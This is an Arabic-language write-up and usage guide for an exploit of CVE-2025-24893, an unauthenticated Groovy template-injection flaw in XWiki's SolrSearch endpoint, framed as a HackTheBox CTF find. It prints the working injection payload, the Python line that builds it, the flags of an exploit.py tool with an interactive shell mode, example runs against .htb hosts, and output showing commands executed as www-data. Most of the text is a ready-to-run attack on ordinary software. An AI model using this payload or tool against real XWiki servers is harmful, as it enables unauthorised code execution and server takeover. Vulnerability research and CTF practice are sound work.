
CVE-2025-24893 – استغلال RCE بدون مصادقة عبر SSTI في XWiki (HackTheBox CTF)
| الحقل | التفاصيل |
|---|---|
| CVE | CVE-2025-24893 |
| البرنامج | XWiki |
| الثغرة | حقن القوالب من جهة الخادم (SSTI) → تنفيذ الأكواد عن بُعد (RCE) |
| المصادقة | غير مطلوبة |
| درجة CVSS | حرجة |
| السياق | اكتُشفت أثناء مسابقة HackTheBox CTF |
يوفّر XWiki نقطة نهاية SolrSearch (/xwiki/bin/get/Main/SolrSearch) تمرّر مدخلات المستخدم عبر محرك قوالب Groovy دون أي تنقية. يمكن لمهاجم غير مصادَق حقن تعبير Groovy عبر معامل الاستعلام text، محققًا تنفيذ الأكواد عن بُعد على الخادم الأساسي.
GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=<PAYLOAD>
يُدمج معامل text مباشرةً في سياق ماكرو XWiki ويُقيَّم بواسطة محرك Groovy. يهرب الحقن من سياق القالب باستخدام }}} ويفتح كتلة {{async}}{{groovy}}:
}}}{{async async=false}}{{groovy}}println("<CMD>".execute().text){{/groovy}}{{/async}}
ينعكس المخرَج في نص استجابة RSS ويمكن استخراجه عبر التعبير النمطي (regex).
payload = '}}}{{async async=false}}{{groovy}}println("' + command + '".execute().text){{/groovy}}{{/async}}'
الاستجابة بتنسيق XML/RSS — يظهر مخرَج الأمر بين علامتي [}}} و]</ مع ترميز الأحرف بصيغة HTML.
python3 exploit.py -t <TARGET> [-p PORT] [-s] [-i | -c COMMAND]
| العلامة | الوصف |
|---|---|
-t | اسم المضيف الهدف أو عنوان IP |
-p | المنفذ (الافتراضي: 80) |
-s | استخدام HTTPS |
-i | وضع الصدفة التفاعلية |
-c | تنفيذ أمر واحد |
-v | إخراج تفصيلي |
# Single command
python3 exploit.py -t wiki.target.htb -c "id"
# Interactive shell
python3 exploit.py -t wiki.target.htb -i
# HTTPS on custom port
python3 exploit.py -t wiki.target.htb -p 443 -s -i
pip install requests termcolor
$ python3 exploit.py -t wiki.editor.htb -c "id"
[*] Executing command: id
uid=33(www-data) gid=33(www-data) groups=33(www-data)